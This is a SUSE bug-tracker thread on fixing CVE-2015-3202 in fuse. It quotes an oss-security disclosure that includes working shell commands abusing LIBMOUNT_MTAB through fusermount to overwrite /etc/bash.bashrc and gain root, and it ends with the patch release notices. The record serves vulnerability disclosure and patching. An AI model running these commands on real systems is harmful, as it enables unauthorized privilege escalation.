bugbot adjusting priority

An update workflow for this issue was started.
This issue was rated as moderate.
Please submit fixed packages until 2015-06-03.
When done, reassign the bug to security-team@suse.de.
https://swamp.suse.de/webswamp/wf/61781

There are some open questions I mailed to vendor-sec. Not issuing PI's
at this time. Might require new submits.

Ok. So I will submit fuse PI only. Given that SLE11 does not
use libmount anyways, thats a minor issue for SLE11 anyways.
Yet, nevertheless using the existing fuse submits for sle10 and sle11.

From: Tavis Ormandy <taviso@google.com>
Date: Thu, 21 May 2015 09:55:16 -0700
Subject: [oss-security] CVE-2015-3202 fuse privilege escalation

Hello, this was discussed on the distros list last week.

The fusermount binary calls setuid(geteuid()) to reset the ruid when
it invokes /bin/mount so that it can use privileged mount options that
are normally restricted if ruid != euid. That's acceptable (but scary)
in theory, because fusermount can sanitize the call to make sure it's
safe.

http://sources.debian.net/src/fuse/2.9.3-15/util/mount_util.c/?hl=99#L99

However, because mount thinks it's being invoked by root, it allows
access to debugging features via the environment that would not
normally be safe for unprivileged users and fusermount doesn't
sanitize them.

Therefore, the bug is that the environment is not cleared when calling
mount with ruid=0. One debugging feature available is changing the
location of /etc/mtab by setting LIBMOUNT_MTAB, which can be abused to
overwrite arbitrary files.

This can be exploited like so.

$ printf "chmod 4755 /bin/dash" > /tmp/exploit && chmod 755 /tmp/exploit
$ mkdir -p '/tmp/exploit||/tmp/exploit'
$ LIBMOUNT_MTAB=/etc/bash.bashrc  _FUSE_COMMFD=0 fusermount
'/tmp/exploit||/tmp/exploit'
fusermount: failed to open /etc/fuse.conf: Permission denied
sending file descriptor: Socket operation on non-socket
$ cat /etc/bash.bashrc
/dev/fuse /tmp/exploit||/tmp/exploit fuse rw,nosuid,nodev,user=taviso 0 0

Then simply wait for root to login, or alternatively overwrite
/etc/default/locale and wait for cron to run a script that sources it.
That means root wouldn't have to log in, but you would have to wait
around until midnight to check if it worked.

Tavis.

P.S. Just for fun, I also came up with a version that fits in a tweet
https://twitter.com/taviso/status/601370527437967360

This is an autogenerated message for OBS integration:
This bug (931452) was mentioned in
https://build.opensuse.org/request/show/308362 13.2 / fuse
https://build.opensuse.org/request/show/308363 13.1 / fuse

Over to security-team.

openSUSE-SU-2015:0997-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 931452
CVE References: CVE-2015-3202
Sources used:
openSUSE 13.2 (src):    fuse-2.9.4-4.3.1

openSUSE-SU-2015:1003-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 931452
CVE References: CVE-2015-3202
Sources used:
openSUSE 13.1 (src):    fuse-2.9.4-2.3.1

SUSE-SU-2015:1024-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 931452
CVE References: CVE-2015-3202
Sources used:
SUSE Linux Enterprise Software Development Kit 11 SP3 (src):    fuse-2.8.7-0.11.1
SUSE Linux Enterprise Server 11 SP3 for VMware (src):    fuse-2.8.7-0.11.1
SUSE Linux Enterprise Server 11 SP3 (src):    fuse-2.8.7-0.11.1
SUSE Linux Enterprise Desktop 11 SP3 (src):    fuse-2.8.7-0.11.1

SUSE-SU-2015:1053-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 931452
CVE References: CVE-2015-3202
Sources used:
SUSE Linux Enterprise Software Development Kit 12 (src):    fuse-2.9.3-5.1
SUSE Linux Enterprise Server 12 (src):    fuse-2.9.3-5.1
SUSE Linux Enterprise Desktop 12 (src):    fuse-2.9.3-5.1

fixed and released.